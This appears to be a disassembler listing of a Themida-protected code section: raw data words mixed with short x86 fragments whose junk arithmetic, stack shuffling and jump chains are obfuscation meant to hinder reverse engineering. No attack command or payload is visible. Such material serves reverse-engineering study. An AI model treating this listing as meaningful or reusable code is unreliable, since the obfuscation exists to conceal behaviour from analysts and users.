dd 0FFFFE925h, 8B241487h, 78E92424h, 6600008Ah, 6624048Fh
dd 50BE6656h, 6650664Dh, 664D4EB8h, 5866C629h, 246C8166h
dd 667D0A02h, 2247401h, 29BDE9h, 5DC18100h, 5B2EEF75h
dd 1FBEC181h, 0E98133ECh, 64FA74CEh, 0C181F101h, 64FA74CEh
dd 1FBEE981h, 0C18133ECh, 5AA05E12h, 5A08E95Eh, 348B0000h
dd 4C48324h, 0DC768h, 243C8900h, 4BFh, 5FFE0100h, 8904EC83h
dd 4BD242Ch, 1000000h, 45E95DEEh, 6600004Fh, 5224048Bh
dd 5404EC83h, 8124048Fh, 42404h, 815A0000h, 4C2h, 28E95700h
db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_537243: ; CODE XREF: Themida_:0053EFE1j
pop esi
jmp loc_53C907
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 4BD55h, 0FBE90000h, 0F7000019h, 3E1C1D1h, 35B9E9h, 2434FF00h
dd 8324048Bh, 148904ECh, 0FD7E924h, 295E0000h, 5081E9FAh
dd 42E90000h, 81FFFFE8h, 4ECh, 241C8900h, 0A7152CBBh, 0B6F3811Fh
dd 296C9C60h, 835D5BDAh, 148704C2h, 82DDE924h, 0B9510000h
dd 4, 0C8BCE29h, 4C48124h, 56000000h, 42474FFh, 5E2434FFh
dd 1A4DE9h, 88E0B100h, 516659C8h, 0C82842B1h, 0E8C05966h
dd 0B4505202h, 5D5FE97Eh, 0D8280000h, 285E045Bh, 535E2CD8h
dd 812C4AB3h, 3659E9h, 8BA62C00h, 0EC812414h, 4, 89241489h
dd 4C281E2h, 81000000h, 4C2h, 24148700h, 558BE95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_537312: ; CODE XREF: Themida_:00538234j
mov edx, 1
and eax, edx
push dword ptr [esp]
pop edx
jmp loc_541B72
; ---------------------------------------------------------------------------
dw 835Eh
dd 0E95304C3h, 3478h, 4C181h, 30E90000h, 51000026h, 4262E9h
dd 0E9F50100h, 0A983h, 8324348Bh, 0C08304C4h, 71266804h
dd 0C4E90000h, 1000015h, 31F8E9EBh, 0C4810000h, 4, 4C781h
dd 3C870000h, 24248B24h, 9BACE951h, 0E9C00000h, 0E9C9FE06h
dd 5D0Eh, 8B240487h, 34FF2424h, 0E9555924h, 0A18Ah, 0E9243430h
dd 0FFFFE80Bh
; ---------------------------------------------------------------------------
loc_537398: ; CODE XREF: Themida_:00536FABj
xor esi, 224D7AABh
sub edx, esi
pop esi
jmp loc_53822B
; ---------------------------------------------------------------------------
dw 0F930h
dd 4EC835Bh, 83240489h, 148904ECh, 49B45024h, 88E58851h
dd 48B59EAh, 0ED2AE924h, 0F6E9FFFFh
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5373CB: ; CODE XREF: Themida_:00537C73j
push ebp
sub esp, 4
mov [esp], ecx
mov ecx, 15179C7h
dec ecx
jmp loc_537F0D
; ---------------------------------------------------------------------------
loc_5373DD: ; CODE XREF: Themida_:0053AEC4j
push 4267h
mov [esp], eax
mov eax, 363711FFh
push ebx
mov ebx, 10B26EA3h
jmp loc_539B6A
; ---------------------------------------------------------------------------
loc_5373F5: ; CODE XREF: Themida_:00541137j
mov ebx, [esp]
add esp, 4
jmp loc_53B23E
; ---------------------------------------------------------------------------
loc_537400: ; CODE XREF: Themida_:0053BCE4j
add esp, 4
pop eax
jmp loc_53E10F
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 89560000h, 4C681E6h, 55000000h, 77B7CBDh, 0C8F5811Ch
dd 0F7122A70h, 0F4E945D5h, 2D000077h, 650028FAh, 0FA05F001h
dd 83650028h, 148904ECh, 79F9BA24h, 760568B4h, 0E964EB77h
dd 4ABDh
; ---------------------------------------------------------------------------
loc_53744C: ; CODE XREF: Themida_:0053BE23j
push esi
jmp loc_53BE28
; ---------------------------------------------------------------------------
dw 468h
dd 8B000000h, 0C481241Ch, 4, 875BDF01h, 12E9243Ch, 81000037h
dd 455D00EEh, 9B2FE9A2h, 59660000h, 4B89E9h, 30FE3000h
dd 0E9FE30F7h, 0FFFFEF31h, 0C381C329h, 168C1DCEh, 747AEB81h
dd 8CE911A0h, 1000011h, 5204246Ch, 127C45BAh, 0F931E961h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5374AA: ; CODE XREF: Themida_:00539D72j
sub ebx, edi
sub ebx, 725F19C2h
sub ebx, 1A95325Fh
pop edi
mov dword ptr [edi+20h], 202C5369h
push ecx
mov ecx, 20h
sub ecx, 35955185h
sub ecx, 7A7F38C6h
add ecx, edi
push esi
jmp loc_53B09F
; ---------------------------------------------------------------------------
dw 405h
dd 55000000h, 4BDh, 5DE82900h, 140DE9h, 48B6600h, 0F7E0E924h
dd 0E389FFFFh, 4BD55h, 0EB010000h, 0A5E685Dh, 34890000h
dd 2BE24h, 0F3010000h, 5124348Bh, 0C181E189h, 4, 4C181h
dd 0AFE90000h, 0F6000030h, 0E99C241Ch, 0FFFFE591h, 0F24248Bh
dd 1268C8BFh, 89000019h, 83E9240Ch, 0B9FFFFFEh, 4, 8359CF01h
dd 8CE904C7h, 0F6FFFFF6h, 0FEEAD0D2h, 0C0D2F6CAh, 2EE906E2h
dd 80000014h, 0D7F66BE7h, 8008E7C0h, 0FC2801F7h, 0FED4F65Bh
dd 5CE952C4h, 5A0000A6h, 34FFC329h, 2434FF24h, 8324048Bh
db 0C4h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov edi, 4
add ebp, edi
pop edi
add ebp, 4
xchg ebp, [esp]
pop esp
add esp, 4
jmp loc_53983E
; ---------------------------------------------------------------------------
db 81h
dd 92A01EFh, 0D3EF813Ah, 31C4FDFCh, 0C8315FF9h, 0ED31E959h
dd 0C481FFFFh, 4, 0B8ABBB53h, 8BE9F473h, 0BA00005Ch, 4D162B11h
dd 61A8F281h, 0E2C101E4h, 4C28108h, 10DB547h, 0E9525AD0h
dd 0FFFFE661h, 24048B66h, 6067E9h, 4895C00h, 0E4BFE924h
dd 4401FFFFh, 6C810424h, 470B0424h, 5F580F08h, 0FF2DE951h
dd 3489FFFFh, 43FCE924h, 0E9550000h, 21FFh, 8301C580h
dd 0ADE904ECh
db 9Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53762F: ; CODE XREF: Themida_:0053DBD8j
pop edi
push esi
mov esi, 34F375EFh
xor edi, esi
pop esi
jmp loc_537B4C
; ---------------------------------------------------------------------------
dw 2BFh
dd 81000000h, 9852A0EBh, 81FB016Bh, 9852A0C3h, 0DAE95F6Bh
dd 5DFFFFEEh, 2B75E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53765E: ; CODE XREF: Themida_:0053A8A1j
mov ebp, ecx
pop ecx
jmp loc_5361ED
; ---------------------------------------------------------------------------
loc_537666: ; CODE XREF: Themida_:0053F687j
mov esi, [esp]
add esp, 4
push edi
push edx
mov edx, 7C6D24FAh
shr edx, 3
add edx, 20AD7B23h
shl edx, 6
sub edx, 7CDC43EEh
add edx, 0DC3CC570h
mov edi, edx
pop edx
or ebp, edi
pop edi
sub ebp, 1E2B2552h
xchg esi, ebp
neg esi
xchg esi, ebp
shl ebp, 5
jmp loc_541275
; ---------------------------------------------------------------------------
dd 4C6815Eh, 83000000h, 2DE904EEh, 49000087h, 0FFE856E9h
dd 241489FFh, 4C3468h, 24248900h, 4240483h, 468515Ah, 59000000h
dd 0AAD9E9h
db 0
; ---------------------------------------------------------------------------
loc_5376D9: ; CODE XREF: Themida_:0053FFADj
neg edi
sub edi, 4D77588h
dec edi
neg edi
add edi, 0C36C3E45h
mov [edx+30h], edi
pop edi
popa
popf
retn
; ---------------------------------------------------------------------------
db 0E9h, 0CBh, 0E3h
dd 0D028FFFFh, 9757E9h, 0E0895000h, 405h, 42D00h, 4870000h
dd 34895C24h, 348B5424h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push ecx
push ebx
push 14AE6CF1h
pop ebx
and ebx, 5D734871h
xor ebx, 14224875h
jmp loc_5411A9
; ---------------------------------------------------------------------------
db 81h
dd 4C3h, 6CF0E900h, 0EA810000h, 12302BE4h, 0C281EA01h
dd 12302BE4h, 0AB6EA81h, 24E922F7h, 9FFFFFBh, 4BE958C2h
dd 0FFFFEEh, 5B5304D8h, 0E958C588h, 3B6Dh
; ---------------------------------------------------------------------------
loc_537770: ; CODE XREF: Themida_:00536B05j
mov [esp], eax
mov al, bl
inc al
mov bl, al
mov eax, [esp]
jmp loc_541596
; ---------------------------------------------------------------------------
db 5Dh, 8Fh, 4
dd 0E9F65C24h, 245DE9h, 4C48300h, 30E0E9h
db 0
; ---------------------------------------------------------------------------
loc_537795: ; CODE XREF: Themida_:0053965Aj
; Themida_:0053B834j ...
push 521Ah
mov [esp], eax
push ecx
jmp loc_53CCFE
; ---------------------------------------------------------------------------
loc_5377A3: ; CODE XREF: Themida_:005422A5j
pop eax
shr ebp, 7
sub ebp, 0D0A52FCh
jmp loc_536151
; ---------------------------------------------------------------------------
dw 0C381h
dd 4, 4C381h, 2E90000h, 6600003Ch, 0E9243C31h, 2C5Fh
; ---------------------------------------------------------------------------
loc_5377CC: ; CODE XREF: Themida_:0053AAFBj
pop ebp
pop edi
jmp loc_538B5C
; ---------------------------------------------------------------------------
db 66h
dd 0E924148Bh, 5EC9h, 405h, 24048700h, 0EFE9565Ch, 100008Dh
dd 0B2B951C3h, 0E964FB32h, 23A5h, 0BFE9C201h, 0F7000006h
dd 0AEE281DAh, 5523FF31h, 2C01E9h, 5E08900h, 4, 8704C083h
dd 875C2404h, 248B2434h, 9C6BE924h, 0C4810000h, 4, 34FFF830h
dd 5D36E924h, 2BB0000h, 89000000h, 0CD015BD9h, 242C3359h
dd 33242C31h, 248B242Ch, 0E9F1F624h, 1E2Eh, 81E18951h
dd 4C1h, 4C18100h, 0E9000000h, 0A4DEh, 7B469B25h, 21E95231h
dd 89FFFFF6h, 0C3E92414h, 83FFFFEEh, 34FF04C4h, 6BE95824h
dd 3000002Dh, 0E78957D8h, 4C781h, 0EF810000h, 4, 5C243C87h
dd 5B20E9h
db 0
; ---------------------------------------------------------------------------
loc_5378A1: ; CODE XREF: Themida_:0053E4EBj
xor eax, ecx
push 923h
mov [esp], eax
xchg ebx, [esp]
xor ebx, edx
xor edx, ebx
xor ebx, edx
not edx
xchg edx, ebx
xchg ebx, [esp]
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
add edi, 4
jmp loc_53F174
; ---------------------------------------------------------------------------
dd 0E9240431h, 3F22h
; ---------------------------------------------------------------------------
loc_5378E8: ; CODE XREF: Themida_:005369A4j
pop edi
shr ebp, 4
push edi
mov edi, 0FBC96A58h
add ebp, edi
pop edi
and eax, ebp
pop ebp
shr eax, 12h
xor eax, ecx
push esi
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_53685E
; ---------------------------------------------------------------------------
dw 0C721h
dd 8124048Bh, 4C4h, 21CE900h, 26680000h, 8B467155h, 0C4832414h
dd 0DEC28104h, 1B98EAAh, 8B042454h
db 14h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_53DC21
; ---------------------------------------------------------------------------
dw 0EAC0h
dd 0B9E28003h, 0EE9E2D0h, 80000016h, 0D828B6F3h, 28452C5Bh
dd 0E5FDE9D8h, 8141FFFFh, 0B7325C1h, 3382E942h, 8B660000h
dd 0B468240Ch, 89000045h, 5A542414h, 4C281h, 0BDE90000h
dd 81000096h, 0B55677EAh, 81FA011Ch, 0B55677C2h, 0DFBE561Ch
dd 813F447Ah, 4ECh, 24048900h, 0A97E27B8h, 8E8C140h, 0C8575725h
dd 2DD0F762h, 74ED4A91h, 908EE9h, 8B188800h, 0A5E9241Ch
dd 66000021h, 157AE953h, 0D1890000h, 928BE9h
db 0
; ---------------------------------------------------------------------------
loc_5379E5: ; CODE XREF: Themida_:0053A593j
pop esp
jmp loc_53F40F
; ---------------------------------------------------------------------------
db 0BAh
dd 2, 65E9D301h, 8400007Dh, 0B5E99CC8h, 10000A6h, 2434FFE8h
dd 0E9242C8Bh, 6289h, 5C241C87h, 791CF02Dh, 0C8E95131h
db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_537A1B: ; CODE XREF: Themida_:0053CDB8j
pop esi
jmp loc_5409F4
; ---------------------------------------------------------------------------
loc_537A21: ; CODE XREF: Themida_:0053F10Fj
pop ebp
add edx, 7EDD7DEEh
neg edx
inc edx
dec edx
shr edx, 3
xor edx, 0B5A83E4h
add ebp, edx
pop edx
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push edx
push 4C2A75DAh
push dword ptr [esp]
pop edx
add esp, 4
push eax
mov eax, 4C2A75D9h
jmp loc_53B998
; ---------------------------------------------------------------------------
dd 104C483h, 702605D8h, 48E944E8h, 81000088h, 2381F3h
dd 5BDA0100h, 423BE9h, 6DBB5300h, 0E92E4A02h, 5335h, 242C8152h
dd 16E116ECh, 56CE685Fh, 0C890000h, 5B53B924h, 0E9813209h
dd 5786B14h, 0FFFEC9E9h, 2CD8F6FFh, 2CC0FE78h, 15F6E95Bh
dd 8B540000h, 0C4832404h, 0F947E904h, 5255FFFFh, 0D911BA68h
dd 24148B56h, 4C481h, 0E2810000h, 87A7866h, 7A84F281h
dd 0D5894043h, 83C5815Ah, 815FBE7Ch, 881E30C5h, 5DC38185h
dd 290D5A09h, 5DBE56EBh, 810D5A09h, 251266EBh, 81F3294Ch
dd 251266C3h, 2C8B5E4Ch, 4C48324h, 0FFE4C6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_537B15: ; CODE XREF: Themida_:0053AAC9j
push 1F1F3E3Fh
pop ebx
xor ebx, 2B7E68ABh
xor ebx, 65CF6785h
add ebx, 0E60E1B22h
mov edi, ebx
jmp loc_53659C
; ---------------------------------------------------------------------------
aXhj db 'Xhj,',0
align 2
dw 0C89h
dd 0C8B5424h, 8F31E924h, 0E9520000h, 7C9h
; ---------------------------------------------------------------------------
loc_537B4C: ; CODE XREF: Themida_:00537639j
or edi, 2B790FB1h
shl edi, 5
add edi, 809400E4h
mov esi, edi
pop edi
sub edx, esi
pop esi
xchg edx, [esp]
pop esp
jmp loc_53C283
; ---------------------------------------------------------------------------
loc_537B6A: ; CODE XREF: Themida_:0053CF3Fj
and edx, ecx
jmp loc_538033
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 0E9E78957h, 0FFFFF7BBh
; ---------------------------------------------------------------------------
loc_537B7C: ; CODE XREF: Themida_:00540DBAj
mov esp, [esp]
shl dword ptr [esp], cl
jmp loc_535AC1
; ---------------------------------------------------------------------------
db 83h
dd 3C8704C7h, 24248B24h, 71A568h, 24048900h, 4B3CBA52h
dd 0D0897516h, 0FFF9D6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_537BA5: ; CODE XREF: Themida_:0053A481j
mov [esp], ecx
mov ecx, 20h
add ecx, edi
jmp loc_539A64
; ---------------------------------------------------------------------------
dd 8832FE2Dh, 4E2A2D12h, 0D8293D57h, 9474E953h, 34FF0000h
dd 89575824h, 4BD55E7h, 1000000h, 0C7835DEFh, 243C8704h
dd 0DEDFE95Ch, 8F59FFFFh, 5CE94047h, 8900008Ch, 58C389C8h
dd 5DEB8159h, 0E949B935h, 51DFh
; ---------------------------------------------------------------------------
loc_537BFC: ; CODE XREF: Themida_:0053AE5Ej
xor esi, [esp]
jmp loc_53A2B7
; ---------------------------------------------------------------------------
dd 405h, 0F772E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_537C0E: ; CODE XREF: Themida_:0053A551j
pop esi
jmp loc_53AD18
; ---------------------------------------------------------------------------
dd 5119CB81h, 0C3817558h, 1CC902D9h, 0B72C381h, 0DE0165D9h
dd 1B71E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_537C2E: ; CODE XREF: Themida_:00539E3Aj
pop dword ptr [esp]
jmp loc_535E70
; ---------------------------------------------------------------------------
loc_537C36: ; CODE XREF: Themida_:0053D0F7j
pop esi
push dword ptr [esp]
pop ecx
add esp, 4
push dword ptr [ebx]
add dword ptr [esp], 5704A18h
jmp loc_53E13C
; ---------------------------------------------------------------------------
dd 0F1814941h, 32B9E17Ch, 0FF91E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_537C5A: ; CODE XREF: Themida_:0053B64Ej
and esi, 1B2848B8h
neg esi
jmp loc_53A9C7
; ---------------------------------------------------------------------------
db 81h
dd 323156EFh, 0EDAAE969h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_537C72: ; CODE XREF: Themida_:0053AA2Bj
pop ebp
jmp loc_5373CB
; ---------------------------------------------------------------------------
dd 83240C8Bh, 0C38104C4h, 419A7AA0h, 8452E9h
db 0
; ---------------------------------------------------------------------------
loc_537C89: ; CODE XREF: Themida_:0053D2D5j
pop edx
push ebp
mov ebp, 4BB16255h
add ebp, 1
push ebx
jmp loc_53DCBB
; ---------------------------------------------------------------------------
dd 0C781E789h, 4, 4EF81h, 3C870000h, 14895C24h, 0E4B75324h
dd 9683E9h, 24048100h, 4, 5524348Bh, 242C8B54h, 5E08950h
dd 4, 8704C083h, 3EE92404h
db 9Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_537CDB: ; CODE XREF: Themida_:0053F722j
add ecx, edi
jmp loc_53E52B
; ---------------------------------------------------------------------------
loc_537CE2: ; CODE XREF: Themida_:0053A261j
push ebp
mov ebp, 264E630Fh
jmp loc_53F10D
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 681F68h, 1D62E900h, 52550000h, 3605E9h, 0BA525D00h
dd 720E12B8h, 815AD709h, 1D5E1CC7h, 0E7C14F05h, 9737E905h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_537D1A: ; CODE XREF: Themida_:005417B5j
or eax, eax
jmp loc_538187
; ---------------------------------------------------------------------------
db 68h, 0A4h, 4Fh
dd 15D420Dh, 242C8BE8h, 4C481h, 0ABE90000h, 1000025h, 0BE5659CFh
dd 4, 83B8E9h, 66E13000h, 0E7DCE958h, 8504FFFFh, 2799E9h
db 0
; ---------------------------------------------------------------------------
loc_537D55: ; CODE XREF: Themida_:005365C6j
pop edx
xor bl, al
movzx eax, al
jmp loc_538B65
; ---------------------------------------------------------------------------
dd 80BF575Ah, 29265A13h, 3C8B5FFAh, 4C48124h, 55000000h
dd 0B04CD0BDh, 5DE82919h, 0D005D029h, 0FF19B04Ch, 8FE92434h
dd 3100003Ah, 3DBFE9D8h, 2B90000h, 0E9000000h, 578Dh, 4B850h
dd 44010000h, 0FF580424h, 3C8B2434h, 4C48124h, 81000000h
dd 4C4h, 4C78100h, 81000000h, 4C7h, 0A20EE900h, 84B00000h
dd 4B2CD8F6h, 3704D0F6h, 8058C500h, 0EF2C09C5h, 0EF04E800h
dd 7218E9h, 0B9515A00h, 4DF44D32h, 584CE981h, 0C1810252h
dd 5E111B03h, 4696C181h, 0B850306Eh, 35796929h, 5258C101h
dd 0F18DD7BAh, 0E9D1010Bh, 37FBh, 2DC6E95Bh, 0C4830000h
dd 9BC6804h, 4890000h, 4B824h, 0C5010000h, 402DE9h, 14335900h
dd 24143124h, 5C241433h, 9CC88566h, 0FFDC7CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_537E45: ; CODE XREF: Themida_:0053712Ej
xchg eax, [esp]
pop esp
and ecx, edx
jmp loc_5400AC
; ---------------------------------------------------------------------------
aPuhbx db 'PUhbX',0
dw 8900h
dd 0DEBE2434h, 4661822Dh, 0FFDE22E9h, 4EC81FFh, 89000000h
dd 63B82404h, 2D18CE07h, 0FFFFFFFFh, 0F705E8C1h, 703E05D0h
dd 0EA8100C6h, 21655795h, 0C281C201h, 21655795h, 5024048Bh
dd 405E089h, 0E9000000h, 822Dh
; ---------------------------------------------------------------------------
loc_537EA0: ; CODE XREF: Themida_:0053C6FCj
mov ecx, [esp]
add esp, 4
shr eax, 0Ch
xor eax, ecx
jmp loc_53D530
; ---------------------------------------------------------------------------
db 66h
dd 2404A30Fh, 489BE99Ch, 0C2810000h, 785E6D13h, 379268h
dd 243C8900h, 36BE5650h, 813A482Eh, 0D1009AC6h, 0E9DEF745h
dd 0FFFFE964h, 5504E3C1h, 90CEE9h
db 0
; ---------------------------------------------------------------------------
loc_537EE9: ; CODE XREF: Themida_:0053E900j
sub esp, 4
jmp loc_536590
; ---------------------------------------------------------------------------
dd offset dword_49005C+530Ch
align 2
dw 489h
aH4 db '$h%4',0
align 2
dw 0C89h
dd 32D9B924h, 0C8895D01h, 961AE9h
db 0
; ---------------------------------------------------------------------------
loc_537F0D: ; CODE XREF: Themida_:005373D8j
add ecx, 39AFA102h
sub esp, 4
mov [esp], ebp
jmp loc_53B102
; ---------------------------------------------------------------------------
loc_537F1E: ; CODE XREF: Themida_:0053A16Dj
pop esi
jmp loc_53FA49
; ---------------------------------------------------------------------------
dd 9D1C77FFh, 14D25966h, 8EE99C24h
db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_537F33: ; CODE XREF: Themida_:0053F9C5j
push dword ptr [esp]
pop esi
jmp loc_5366D0
; ---------------------------------------------------------------------------
dd 0F01CFE2Dh, 8CE95E6Eh, 1FFFFECh, 2434FFC6h, 295B6858h
dd 1C890000h, 51E38924h, 0AF290EB9h, 0AE98125h, 0E925AF29h
dd 3272h, 0E2895259h, 4C281h, 0C2830000h, 24148704h, 2CE2E95Ch
dd 1C890000h, 63ECE924h, 0E7890000h, 48CEB951h, 6FE94808h
db 95h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_537F93: ; CODE XREF: Themida_:0054056Fj
mov edx, 4
add edi, edx
pop edx
xchg edi, [esp]
pop esp
shr ecx, 7
push 1597h
mov [esp], ebx
push eax
mov eax, 55A7DE7h
add [esp+4], eax
pop eax
pop eax
push esi
push ecx
mov ecx, 56A01B76h
not ecx
push eax
mov eax, 6FBA6B2Ch
add eax, 12627A4Ch
xor eax, 0D0F8F75Fh
xor ecx, eax
mov eax, [esp]
add esp, 4
push ebx
mov ebx, 1BFE0E2Dh
add ebx, 42C63B01h
jmp loc_53D196
; ---------------------------------------------------------------------------
dd 6AB06866h, 240C8966h, 0FFDACCE9h, 48B66FFh, 5DB36824h
dd 34890000h, 0CEE95424h, 5600004Dh, 3E01E954h, 67BA0000h
dd 967086Ch, 449BE9D5h, 0DA010000h, 0FFDCC1E9h, 89E889FFh
dd 24048BC2h, 8B04C483h, 0F0E9242Ch
db 1Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_538033: ; CODE XREF: Themida_:00537B6Cj
push dword ptr [esp]
pop ecx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xor edx, 1DFE7F89h
or edx, 16595186h
jmp loc_53C838
; ---------------------------------------------------------------------------
loc_53805B: ; CODE XREF: Themida_:00542374j
pop ebx
jmp loc_53E4F0
; ---------------------------------------------------------------------------
db 1, 0DDh, 5Bh
dd 0A2F5F581h, 0EF8907B7h, 81242C8Bh, 4C4h, 0C1E7D100h
dd 0E78105EFh, 1A567493h, 2EDFE9h, 24048B00h, 4E34E9h
dd 4C38100h, 81000000h, 4C3h, 241C8700h, 24048F5Ch, 0AB0F665Ch
dd 0E99C2404h, 0FFFFDA15h, 42474FFh, 83243C8Bh, 65E904C4h
dd 68000088h, 0F0Eh, 0E9242489h, 4A8Ch
; ---------------------------------------------------------------------------
loc_5380C8: ; CODE XREF: Themida_:loc_538788j
shr edx, 1
cmp eax, edx
jz loc_536DA6
push 6DECh
mov [esp], ebx
sub esp, 4
mov [esp], ecx
mov ecx, 79FF12BDh
shl ecx, 4
add ecx, 0BDCC3D44h
push ecx
jmp loc_53DDE5
; ---------------------------------------------------------------------------
dd 0E904C683h, 9A4h
; ---------------------------------------------------------------------------
loc_5380FC: ; CODE XREF: Themida_:0053F80Aj
push edx
mov edx, 124A08F8h
not edx
or edx, 6D422C7Fh
neg edx
xor edx, 0E190C9Ch
mov esi, edx
pop edx
or esi, 5CAB36D5h
sub esp, 4
mov [esp], ebx
mov ebx, 5D9E47A5h
dec ebx
jmp loc_53B19D
; ---------------------------------------------------------------------------
dd 51D831ADh, 0BE56E189h, 7EE57D9Fh, 0EE81DEF7h, 5A2870BEh
dd 0D3F7DE87h, 0EE81DE87h, 0D90DEE58h, 348BF101h, 45ABE924h
dd 14330000h, 24248B24h, 24048B66h, 81E38953h, 4C3h, 4EC8100h
dd 0E9000000h, 9A29h, 240C8B66h, 0E9595451h, 4927h, 25E95866h
db 84h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_538187: ; CODE XREF: Themida_:00537D1Cj
jz loc_53A52F
push dword ptr [edi+1Ch]
mov ecx, [esp]
push 78D0h
mov [esp], esi
mov esi, esp
add esi, 4
sub esp, 4
jmp loc_540349
; ---------------------------------------------------------------------------
db 89h
dd 29BA2414h, 0E925622Eh, 8111h, 0FF2434FFh, 57582434h
dd 0E953E789h, 2E17h, 33240431h, 665C2404h, 0E9240489h
dd 0FFFFD8E9h, 0FFD8E4E9h, 240C8BFFh, 81E78957h, 4C7h
dd 0F999E900h, 68ACFFFFh, 0C2Bh, 5CB5E9h, 24048900h, 2B8h
dd 37A2E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_538206: ; CODE XREF: Themida_:00542069j
pop ecx
jmp loc_5365C4
; ---------------------------------------------------------------------------
dd 0C381E389h, 4, 4466E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53821A: ; CODE XREF: Themida_:0054061Dj
add esp, [edx+38h]
sub esp, 4
mov [esp], ebp
jmp loc_541EB5
; ---------------------------------------------------------------------------
loc_53822B: ; CODE XREF: Themida_:005373A1j
xchg edx, [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_537312
; ---------------------------------------------------------------------------
aFpsv db '[fPé‚',9,0
dd 5EEC000h, 0A08AE9h, 55E28900h, 4BDh, 9AC28100h, 81733B75h
dd 0F70AB6C2h, 0F4E0E922h, 0DE09FFFFh, 9608E95Bh, 0EFD10000h
dd 3E7C147h, 5106EFC1h, 913222B9h, 0B6F1813Ah, 8170166Dh
dd 0B62D0E9h, 59CF014Bh, 3D66C905h, 23B82D11h, 0F8016A34h
dd 0FFEC3EE9h, 2E959FFh, 5D00003Ah, 26852h, 2AE90000h
dd 0BE000014h, 2, 1A63C181h, 2EE93299h, 57000067h, 0C781E789h
dd 4, 0E904EF83h, 0FFFFE58Ah, 2C77C580h, 0E9C1E91Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5382D6: ; CODE XREF: Themida_:00539DF9j
push 4BC7h
mov [esp], esi
push esp
pop esi
push 3ABDh
mov [esp], eax
mov eax, 67394024h
and eax, 18B70FCCh
jmp loc_53C374
; ---------------------------------------------------------------------------
loc_5382F7: ; CODE XREF: Themida_:0054229Ej
shr ebp, 6
not ebp
push edi
mov edi, 6415568h
sub edi, 63291EEBh
shl edi, 1
push eax
mov eax, 793E18EDh
jmp loc_540F1A
; ---------------------------------------------------------------------------
db 0BAh, 23h, 1Eh
dd 0D7311806h, 63C1815Ah, 1796B2Dh, 2878E9F9h, 2B680000h
dd 5F15B911h, 4247C01h, 6368585Fh, 89000070h, 0E955243Ch
dd 8F04h, 0B251B753h, 5BFA307Ch, 5835E9h, 97B75300h, 0E902EFC0h
dd 1062h, 0C002EBC0h, 0C38006E3h, 5BD828D3h, 54D6E9h
db 0
; ---------------------------------------------------------------------------
loc_53836D: ; CODE XREF: Themida_:00540AD7j
mov ebp, 4
jmp loc_53F6C3
; ---------------------------------------------------------------------------
db 0FFh
dd 48B3C77h, 6876824h, 1C890000h, 525B5424h, 4BAh, 0D89EE900h
dd 0E9ACFFFFh, 0FFFFE7FEh, 0C381EB29h, 55BE788Ah, 39EEE9h
db 0
; ---------------------------------------------------------------------------
loc_5383A5: ; CODE XREF: Themida_:0053E31Bj
mov [esp], ecx
mov ecx, 72552122h
push esi
push edx
jmp loc_53F8D3
; ---------------------------------------------------------------------------
loc_5383B4: ; CODE XREF: Themida_:0053D1A6j
mov edi, 577A011Ch
and ebp, edi
pop edi
sub ebp, 0F53B8F1Eh
and ecx, ebp
pop ebp
sub ecx, 57B9F2CFh
mov esi, ecx
pop ecx
jmp loc_539FE9
; ---------------------------------------------------------------------------
db 58h
dd 665AEE80h, 2026B151h, 0F094E9CEh, 0BD55FFFFh, 7506197Dh
dd 0ED81DDF7h, 317568C8h, 3BE0E581h, 0F581694Ch, 3E1F7105h
dd 4B41F581h, 52E9312Ah, 100003Fh, 665F05D8h, 0E951400Eh
dd 9855h, 0E924248Bh, 0FFFFD6A5h
; ---------------------------------------------------------------------------
loc_53841C: ; CODE XREF: Themida_:0053BD4Dj
mov ebp, 8615A55h
not ebp
inc ebp
sub ebp, 0BF9C3C36h
jmp loc_53ADA8
; ---------------------------------------------------------------------------
db 0FFh
dd 148B2434h, 4C48324h, 4EC81h, 4AE90000h, 8B00000Ch, 7AE92404h
dd 81FFFFEBh, 9104E4C5h, 9526E942h, 0D0290000h, 8BC3015Ah
dd 89522404h, 0D7B0E9E2h, 56E9FFFFh, 66FFFFD6h, 81240C8Bh
dd 4ECh, 242C8900h, 48A4E9h
db 0
; ---------------------------------------------------------------------------
loc_53847D: ; CODE XREF: Themida_:005408EEj
add ebx, 4
jmp loc_5421FB
; ---------------------------------------------------------------------------
loc_538488: ; CODE XREF: Themida_:0053D1FEj
xor edi, 30AA2915h
xor edi, 45C3DECCh
